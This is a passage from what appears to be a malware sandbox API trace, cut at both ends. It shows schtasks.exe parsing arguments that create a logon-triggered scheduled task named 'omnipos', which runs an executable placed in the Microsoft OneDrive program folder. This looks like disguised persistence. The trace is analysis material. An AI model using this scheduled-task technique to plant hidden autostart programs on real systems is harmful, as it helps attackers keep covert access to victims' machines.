_Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|mo|") returned 4 [0140.909] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.909] lstrlenW (lpString="|mo|") returned 4 [0140.909] lstrlenW (lpString="|tn|") returned 4 [0140.909] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0140.909] SetLastError (dwErrCode=0x490) [0140.909] lstrlenW (lpString="d") returned 1 [0140.909] lstrlenW (lpString="d") returned 1 [0140.909] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.909] lstrlenW (lpString="tn") returned 2 [0140.909] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.909] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|d|") returned 3 [0140.909] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.909] lstrlenW (lpString="|d|") returned 3 [0140.910] lstrlenW (lpString="|tn|") returned 4 [0140.910] SetLastError (dwErrCode=0x490) [0140.910] lstrlenW (lpString="m") returned 1 [0140.910] lstrlenW (lpString="m") returned 1 [0140.910] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.910] lstrlenW (lpString="tn") returned 2 [0140.910] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.910] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|m|") returned 3 [0140.910] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.910] lstrlenW (lpString="|m|") returned 3 [0140.910] lstrlenW (lpString="|tn|") returned 4 [0140.910] SetLastError (dwErrCode=0x490) [0140.910] lstrlenW (lpString="i") returned 1 [0140.910] lstrlenW (lpString="i") returned 1 [0140.910] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.910] lstrlenW (lpString="tn") returned 2 [0140.910] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.910] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|i|") returned 3 [0140.910] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.910] lstrlenW (lpString="|i|") returned 3 [0140.910] lstrlenW (lpString="|tn|") returned 4 [0140.910] SetLastError (dwErrCode=0x490) [0140.910] lstrlenW (lpString="tn") returned 2 [0140.910] lstrlenW (lpString="tn") returned 2 [0140.910] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.910] lstrlenW (lpString="tn") returned 2 [0140.910] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.910] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.911] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.911] lstrlenW (lpString="|tn|") returned 4 [0140.911] lstrlenW (lpString="|tn|") returned 4 [0140.911] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0140.911] SetLastError (dwErrCode=0x0) [0140.911] SetLastError (dwErrCode=0x0) [0140.911] lstrlenW (lpString="omnipos") returned 7 [0140.911] lstrlenW (lpString="-/") returned 2 [0140.911] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0140.911] SetLastError (dwErrCode=0x490) [0140.911] SetLastError (dwErrCode=0x490) [0140.911] SetLastError (dwErrCode=0x0) [0140.911] lstrlenW (lpString="omnipos") returned 7 [0140.911] StrChrIW (lpStart="omnipos", wMatch=0x3a) returned 0x0 [0140.911] SetLastError (dwErrCode=0x490) [0140.911] SetLastError (dwErrCode=0x0) [0140.911] lstrlenW (lpString="omnipos") returned 7 [0140.911] SetLastError (dwErrCode=0x0) [0140.911] SetLastError (dwErrCode=0x0) [0140.911] lstrlenW (lpString="/sc") returned 3 [0140.911] lstrlenW (lpString="-/") returned 2 [0140.911] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.911] lstrlenW (lpString="create") returned 6 [0140.911] lstrlenW (lpString="create") returned 6 [0140.911] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.911] lstrlenW (lpString="sc") returned 2 [0140.911] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.911] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.911] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.911] lstrlenW (lpString="|create|") returned 8 [0140.911] lstrlenW (lpString="|sc|") returned 4 [0140.912] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0140.912] SetLastError (dwErrCode=0x490) [0140.912] lstrlenW (lpString="?") returned 1 [0140.912] lstrlenW (lpString="?") returned 1 [0140.912] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.912] lstrlenW (lpString="sc") returned 2 [0140.912] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.912] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|?|") returned 3 [0140.912] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.912] lstrlenW (lpString="|?|") returned 3 [0140.912] lstrlenW (lpString="|sc|") returned 4 [0140.912] SetLastError (dwErrCode=0x490) [0140.912] lstrlenW (lpString="s") returned 1 [0140.912] lstrlenW (lpString="s") returned 1 [0140.912] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.912] lstrlenW (lpString="sc") returned 2 [0140.912] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.912] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|s|") returned 3 [0140.912] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.912] lstrlenW (lpString="|s|") returned 3 [0140.912] lstrlenW (lpString="|sc|") returned 4 [0140.912] SetLastError (dwErrCode=0x490) [0140.912] lstrlenW (lpString="u") returned 1 [0140.912] lstrlenW (lpString="u") returned 1 [0140.912] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.912] lstrlenW (lpString="sc") returned 2 [0140.912] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.913] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|u|") returned 3 [0140.913] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.913] lstrlenW (lpString="|u|") returned 3 [0140.913] lstrlenW (lpString="|sc|") returned 4 [0140.913] SetLastError (dwErrCode=0x490) [0140.913] lstrlenW (lpString="p") returned 1 [0140.913] lstrlenW (lpString="p") returned 1 [0140.913] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.913] lstrlenW (lpString="sc") returned 2 [0140.913] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.913] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|p|") returned 3 [0140.913] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.913] lstrlenW (lpString="|p|") returned 3 [0140.913] lstrlenW (lpString="|sc|") returned 4 [0140.913] SetLastError (dwErrCode=0x490) [0140.913] lstrlenW (lpString="ru") returned 2 [0140.913] lstrlenW (lpString="ru") returned 2 [0140.913] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.913] lstrlenW (lpString="sc") returned 2 [0140.913] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.913] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ru|") returned 4 [0140.913] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.913] lstrlenW (lpString="|ru|") returned 4 [0140.913] lstrlenW (lpString="|sc|") returned 4 [0140.913] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0140.913] SetLastError (dwErrCode=0x490) [0140.914] lstrlenW (lpString="rp") returned 2 [0140.914] lstrlenW (lpString="rp") returned 2 [0140.914] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.914] lstrlenW (lpString="sc") returned 2 [0140.914] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.914] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rp|") returned 4 [0140.914] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.914] lstrlenW (lpString="|rp|") returned 4 [0140.914] lstrlenW (lpString="|sc|") returned 4 [0140.914] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0140.914] SetLastError (dwErrCode=0x490) [0140.914] lstrlenW (lpString="sc") returned 2 [0140.914] lstrlenW (lpString="sc") returned 2 [0140.914] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.914] lstrlenW (lpString="sc") returned 2 [0140.914] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.914] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.914] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.914] lstrlenW (lpString="|sc|") returned 4 [0140.914] lstrlenW (lpString="|sc|") returned 4 [0140.914] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0140.914] SetLastError (dwErrCode=0x0) [0140.914] SetLastError (dwErrCode=0x0) [0140.914] lstrlenW (lpString="ONLOGON") returned 7 [0140.914] lstrlenW (lpString="-/") returned 2 [0140.914] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0140.914] SetLastError (dwErrCode=0x490) [0140.914] SetLastError (dwErrCode=0x490) [0140.914] SetLastError (dwErrCode=0x0) [0140.914] lstrlenW (lpString="ONLOGON") returned 7 [0140.914] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0140.914] SetLastError (dwErrCode=0x490) [0140.914] SetLastError (dwErrCode=0x0) [0140.914] GetProcessHeap () returned 0x270000 [0140.914] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28d4e0 [0140.915] _memicmp (_Buf1=0x28d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.915] lstrlenW (lpString="ONLOGON") returned 7 [0140.915] GetProcessHeap () returned 0x270000 [0140.915] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d5a0 [0140.915] lstrlenW (lpString="ONLOGON") returned 7 [0140.915] lstrlenW (lpString=" \x09") returned 2 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0140.915] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0140.915] GetLastError () returned 0x0 [0140.915] lstrlenW (lpString="ONLOGON") returned 7 [0140.915] lstrlenW (lpString="ONLOGON") returned 7 [0140.915] SetLastError (dwErrCode=0x0) [0140.915] SetLastError (dwErrCode=0x0) [0140.915] lstrlenW (lpString="/tr") returned 3 [0140.915] lstrlenW (lpString="-/") returned 2 [0140.915] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.915] lstrlenW (lpString="create") returned 6 [0140.915] lstrlenW (lpString="create") returned 6 [0140.915] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.915] lstrlenW (lpString="tr") returned 2 [0140.915] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.915] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.915] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.915] lstrlenW (lpString="|create|") returned 8 [0140.915] lstrlenW (lpString="|tr|") returned 4 [0140.915] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0140.915] SetLastError (dwErrCode=0x490) [0140.915] lstrlenW (lpString="?") returned 1 [0140.915] lstrlenW (lpString="?") returned 1 [0140.916] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] lstrlenW (lpString="tr") returned 2 [0140.916] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|?|") returned 3 [0140.916] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.916] lstrlenW (lpString="|?|") returned 3 [0140.916] lstrlenW (lpString="|tr|") returned 4 [0140.916] SetLastError (dwErrCode=0x490) [0140.916] lstrlenW (lpString="s") returned 1 [0140.916] lstrlenW (lpString="s") returned 1 [0140.916] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] lstrlenW (lpString="tr") returned 2 [0140.916] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|s|") returned 3 [0140.916] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.916] lstrlenW (lpString="|s|") returned 3 [0140.916] lstrlenW (lpString="|tr|") returned 4 [0140.916] SetLastError (dwErrCode=0x490) [0140.916] lstrlenW (lpString="u") returned 1 [0140.916] lstrlenW (lpString="u") returned 1 [0140.916] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] lstrlenW (lpString="tr") returned 2 [0140.916] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|u|") returned 3 [0140.916] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.916] lstrlenW (lpString="|u|") returned 3 [0140.916] lstrlenW (lpString="|tr|") returned 4 [0140.916] SetLastError (dwErrCode=0x490) [0140.916] lstrlenW (lpString="p") returned 1 [0140.916] lstrlenW (lpString="p") returned 1 [0140.916] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.916] lstrlenW (lpString="tr") returned 2 [0140.917] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.917] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|p|") returned 3 [0140.917] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.917] lstrlenW (lpString="|p|") returned 3 [0140.917] lstrlenW (lpString="|tr|") returned 4 [0140.917] SetLastError (dwErrCode=0x490) [0140.917] lstrlenW (lpString="ru") returned 2 [0140.917] lstrlenW (lpString="ru") returned 2 [0140.917] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.917] lstrlenW (lpString="tr") returned 2 [0140.917] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.917] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ru|") returned 4 [0140.917] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.917] lstrlenW (lpString="|ru|") returned 4 [0140.917] lstrlenW (lpString="|tr|") returned 4 [0140.917] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0140.917] SetLastError (dwErrCode=0x490) [0140.917] lstrlenW (lpString="rp") returned 2 [0140.917] lstrlenW (lpString="rp") returned 2 [0140.917] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.917] lstrlenW (lpString="tr") returned 2 [0140.917] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.917] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rp|") returned 4 [0140.917] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.917] lstrlenW (lpString="|rp|") returned 4 [0140.917] lstrlenW (lpString="|tr|") returned 4 [0140.917] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0140.917] SetLastError (dwErrCode=0x490) [0140.917] lstrlenW (lpString="sc") returned 2 [0140.917] lstrlenW (lpString="sc") returned 2 [0140.918] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.918] lstrlenW (lpString="tr") returned 2 [0140.918] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.918] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.918] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.918] lstrlenW (lpString="|sc|") returned 4 [0140.918] lstrlenW (lpString="|tr|") returned 4 [0140.918] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0140.918] SetLastError (dwErrCode=0x490) [0140.918] lstrlenW (lpString="mo") returned 2 [0140.918] lstrlenW (lpString="mo") returned 2 [0140.918] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.918] lstrlenW (lpString="tr") returned 2 [0140.918] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.918] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|mo|") returned 4 [0140.918] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.918] lstrlenW (lpString="|mo|") returned 4 [0140.918] lstrlenW (lpString="|tr|") returned 4 [0140.918] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0140.918] SetLastError (dwErrCode=0x490) [0140.918] lstrlenW (lpString="d") returned 1 [0140.918] lstrlenW (lpString="d") returned 1 [0140.918] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.918] lstrlenW (lpString="tr") returned 2 [0140.918] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.918] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|d|") returned 3 [0140.918] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.918] lstrlenW (lpString="|d|") returned 3 [0140.918] lstrlenW (lpString="|tr|") returned 4 [0140.918] SetLastError (dwErrCode=0x490) [0140.918] lstrlenW (lpString="m") returned 1 [0140.919] lstrlenW (lpString="m") returned 1 [0140.919] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.919] lstrlenW (lpString="tr") returned 2 [0140.919] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.919] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|m|") returned 3 [0140.919] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.919] lstrlenW (lpString="|m|") returned 3 [0140.919] lstrlenW (lpString="|tr|") returned 4 [0140.919] SetLastError (dwErrCode=0x490) [0140.919] lstrlenW (lpString="i") returned 1 [0140.919] lstrlenW (lpString="i") returned 1 [0140.919] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.919] lstrlenW (lpString="tr") returned 2 [0140.919] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.919] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|i|") returned 3 [0140.919] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.919] lstrlenW (lpString="|i|") returned 3 [0140.919] lstrlenW (lpString="|tr|") returned 4 [0140.919] SetLastError (dwErrCode=0x490) [0140.919] lstrlenW (lpString="tn") returned 2 [0140.919] lstrlenW (lpString="tn") returned 2 [0140.919] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.919] lstrlenW (lpString="tr") returned 2 [0140.919] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.919] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.919] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.919] lstrlenW (lpString="|tn|") returned 4 [0140.919] lstrlenW (lpString="|tr|") returned 4 [0140.919] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0140.919] SetLastError (dwErrCode=0x490) [0140.919] lstrlenW (lpString="tr") returned 2 [0140.919] lstrlenW (lpString="tr") returned 2 [0140.920] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.920] lstrlenW (lpString="tr") returned 2 [0140.920] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.920] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.920] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.920] lstrlenW (lpString="|tr|") returned 4 [0140.920] lstrlenW (lpString="|tr|") returned 4 [0140.920] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0140.920] SetLastError (dwErrCode=0x0) [0140.920] SetLastError (dwErrCode=0x0) [0140.920] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.920] lstrlenW (lpString="-/") returned 2 [0140.920] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.920] SetLastError (dwErrCode=0x490) [0140.920] SetLastError (dwErrCode=0x490) [0140.920] SetLastError (dwErrCode=0x0) [0140.920] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.920] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'" [0140.920] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.920] _memicmp (_Buf1=0x28d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.920] _memicmp (_Buf1=0x28d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.920] SetLastError (dwErrCode=0x7a) [0140.920] SetLastError (dwErrCode=0x0) [0140.920] SetLastError (dwErrCode=0x0) [0140.920] lstrlenW (lpString="'C") returned 2 [0140.920] lstrlenW (lpString="-/") returned 2 [0140.920] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.920] SetLastError (dwErrCode=0x490) [0140.920] SetLastError (dwErrCode=0x490) [0140.920] SetLastError (dwErrCode=0x0) [0140.920] _memicmp (_Buf1=0x28d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.920] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.921] GetProcessHeap () returned 0x270000 [0140.921] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5a0) returned 1 [0140.921] GetProcessHeap () returned 0x270000 [0140.921] RtlReAllocateHeap (Heap=0x270000, Flags=0xc, Ptr=0x28d5a0, Size=0x70) returned 0x28c270 [0140.921] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.921] lstrlenW (lpString=" \x09") returned 2 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0140.921] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0140.921] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0140.921] StrChrW (lpStart=" \x09", 